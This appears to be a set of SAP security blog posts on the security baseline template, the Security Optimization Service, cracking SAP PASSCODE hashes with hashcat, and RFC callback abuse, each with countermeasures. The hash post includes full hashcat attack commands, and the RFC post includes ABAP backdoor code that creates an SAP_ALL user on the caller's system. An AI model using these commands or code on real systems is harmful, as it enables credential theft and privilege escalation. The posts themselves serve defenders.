SAP security baseline template

This blog will explain the use of SAP security baseline template.

Questions that will be answered in this blog are:

  • Where to find the SAP security baseline template?
  • What does the SAP security baseline template cover?
  • How can I use the SAP security baseline template?

The SAP security baseline template

Background information and the current download link to the SAP security baseline template can be found in OSS note 2253549 – The SAP Security Baseline Template. Or using following path: https://support.sap.com/sos → Media Library → SAP Security Baseline Template.

The content

The security baseline template contains a large 150 page word document from SAP covering all the topics of the SAP secure operations roadmap:

SAP security baseline template Secure Operations Roadmap

For each topic SAP will give must do actions, recommendations, tips and best practices.

This makes the SAP security baseline document a good document for:

  1. Starting security set up for a new greenfield implementation
  2. As as check list for existing implementations

Security Optimization Service

In SAP solution manager there is a free out-of-the-box tool available to quickly scan for security items in your system: the Security Optimization Service.

Questions that will be answered in this blog are:

  • How to run the Security Optimization Service?
  • How does the questionnaire work?
  • How does a sample result look like?

How to run Security Optimization Service

In solution manager 7.2 goto the tile Active Sessions for Service Delivery:

Service delivery Sessions

You now arrive in the sessions overview screen:

Sessions overview

If you are first time using: hit the button Content Update to fetch the latest content from SAP. When done, you are ready to run.

Select the button create to make a new service. From the list choose the option SAP Security Optimization:

New security optimization service

Then select the system for which you want to run the service. Do this by clicking the Add button in the Technical System section:

Select system

Finish the roadmap. After the final step the detailed roadmap will appear:

Security optimization session roadmap

In the first step select the logon and test the connection:

Select system logon

In the next step you need to assign a questionaire:

Create and assign questionaire

If you run the SOS before you can re-use or change the template. The first time you need to create the questionaire:

Questionaire maintenance

In the questionaire you can maintain whitelist. In the example above user from the basis team is added to the list of system administrators. These users will no longer appear in the report as exceptions.

More background information on the questionaire and the impact can be found in OSS note 2036188 - How questionnaire influences results of Security Optimization Service.

Save the questionaire and return to the roadmap.

Next step is to start the data collection:

Data collection

If you have a recent run, you can select it here. If no run is present, hit the button Schedule new ST14 analysis run. Pending on your system size and speed the run will take between 5 and 60 minutes. If the run is finished select the run and complete the roadmap.

The SOS session is now scheduled.

Results

Usually the run is done overnight and you can fetch the results next day. Goto the active services tile, select your run and goto the column Documents. Click on the document to get the results.

Example of an SOS report can be found at this URL.

Follow up

If you find issues: solve them and rerun the report.

If you find many users with too many rights: start to revoke the rights and rerun the report.

If you find basis and authorization staff in the list with rights they should have, add their user ID’s to the corresponding section in the questionaire, and rerun the report.

In general it will take a few runs to come to a more cleaned up system.

Referring OSS notes

Relevant OSS notes:

2687176 – SOS: Check “Users are authorized to access tables with user data (0013)” does not take table authorization group SPWD into consideration

 

SAP password hash hacking Part II: SAP PASSCODE hash hacking

This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.

In this second blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures. Now we focus on the SAP PASSCODE hash.

For the first blog on attacking the SAP BCODE hash click here.

Questions that will be answered in this blog are:

  • How to attack the PASSCODE from the BCODE?
  • How does the hybrid mask attack mode work?
  • How does the combination attack mode work?
  • What more can I do to prevent a password attack?

How to attack the PASSCODE from the BCODE?

In the previous blog we have seen how easy it is to get the passwords from the BCODE. The BCODE is capturing the first 8 characters of the password in captial mode. The other characters of the password are not stored in the BCODE, but in the full PASSCODE. If the password is length 8 or below, you can already logon with the found BCODE password.

Now lets assume company password policy is:

  • Minimum password length is 10
  • Minimum 1 digit, 1 letter upper case, 1 letter lower case, 1 special

Pretty safe you might think.

We will use the previous 5 guessed test users. Their passwords from BCODE were: PASSWORD, LETMEIN, WELCOME, ILOVEYOU, STARWARS. We don’t know exeactly which letters in the passwords are uppercase and which ones are lowercase. But we can make educated guess here, which we store in notepad file:

Notepad bcode file with guesses

As you can see these are logical variations. Most people use password as they type: First letter in upper case, rest in lower case.

Getting the PASSCODE from USR02 table

We use one of the many methods to get the PASSCODE hash strings from the USR02 table:

PASSCODE from USR02

And we put this into notepad file with user name and $ for separator:

Notepad passcodes

Hybrid mask attack

What we will do is use a so called hybrid mask attack. This attack uses certain patterns.

The first pattern we will use is use the file with the BCODE guesses and at the end at a digit and special character.

To start the hacking process goto the CMD command prompt and goto the hashcat directory. Then key in this command:

hashcat64 -a 6 -m 7800 -p : --session=all -o "C:\HC\TestuserPassCodeHashes_found.txt" --outfile-format=3 --markov-disable --remove --gpu-temp-abort=80 "C:\HC\TestuserPassCodeHashes.txt" "C:\HC\BCODEinputfilewithguesses.txt" ?d?s

Explanation of the command: 7800 means the hashes are SAP PASSCODE. Output goes to _found file. Input is the TestuserPassCodeHashes file. The text fie with the guesses is then combined with ?d?s. This means take every entry from the file and add first a digit, then a special. This will then try for example Password1!, Password2!, ….Password1@, Password2@, etc.

Result (after 1 min or so):

Hybrid ds

Password found: Password1! for testuser1. The output is in the output file. And the found hash is removed from the input file.

Hybrid mask patterns

Some patterns that can be used:

?l = letter, small caps

?d = digit

?s = special

?a = all possible input characters

 

If we continue with our example: we now will not scan for digit special combination but for any 2 or more characters. To do so: replace in the previous command the ?d?s with ?a?a.

After that we can run with ?a?a?a to find any combination with 3 characters at the end. Runtime: only 4 minutes:

Hybrid aaa

Only when we add ?a?a?a?a for 4 characters runtime starts to increase to 6 hours:

Hybrid aaaa

After these runs we have found: Welcome123! for testuser3, IloveYou@9 for testuser4 and Starwars99*& for testuser5.

Combination attack mode

The above method is fast and almost always guaranteed to work.  But is will only work for short extensions. There is even a faster way, but this method does not have full guarantee.

What we will do is construct a file with popular password extensions after the main word:

Popular extensions real file is much, much longer…

This file we will combine with the file of the already found words from the BCODE part. The combination of two files is called combination attack.

To start the hacking process goto the CMD command prompt and goto the hashcat directory. Then key in this command:

hashcat64 -a 1 -m 7800 -p : --session=all -o "C:\HC\TestuserPassCodeHashes_found.txt" --outfile-format=3 --remove --gpu-temp-abort=80 --gpu-temp-retain=70 "C:\HC\TestuserPassCodeHashes.txt" "C:\HC\BCODEinputfilewithguesses.txt" "C:\HC\Popular extensions.txt"

The attack mode 1 means combination attack to combine the two files.

After running this mode the Testuser2 password pops up: Letmein2018).

And yes: years in passwords are pretty popular.

End result

End result after all the different attacks:

end result passcode

And it really didn’t take long time. One overnight session is sufficient.

The real live sequence of cracking would be to start with the popular extensions to remove the quick wins. Then time can be spent on the hybrid mask attack: this attack goes faster when there is less input.

Preventive measures

Preventive measure 1: forbid simple password parts

By filling table USR40 you can forbid simple password parts to be used. Think about filling this table with words like:

  • Your company name
  • password
  • welcome
  • letmein
  • The current year
  • All the full names of the months (january, etc)
  • ….

For more inspiration see list of most used passwords on Wikipedia.

Preventive measure 2: forbid display access to password tables

Forbid access to password tables. The hashes are stored in tables protected by the SPWD object. Don’t grant read access with S_TABU_DIS authorization object to this table group. Check via SUIM who currently has access and restict it to only people you think really need it.

More information on the access protection can be found in OSS note 1484692.

Next blog

The next blog will explain on hacking PWDSALTEDHASH.

RFC callback hacking

This blog explains about RFC callback hacking.

When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

RFC callback not secure

This blog will explain you following:

  • How can a hacker exploit this RFC callback weakness?
  • How to make the RFC callback secure?
  • What is the difference between RFC callback simulation and intervention?
  • What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

RFC callback hack explanation

Code snippet of modified RFC_PING:

  • Call module to create user on destination ‘BACK’ and set the password.
  • Assign the privilege SAP_ALL (highest available privilege)
 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

RFC ping

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

Attacker user created

With the privileges:

Attacker admin privileges assigned

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

Audit log for user ADMIN

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behaviour.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog).  This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

RFC callback secure

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

CUA postive callback settings

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules:

RS_SCRP_GF_PROCESS_640         RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.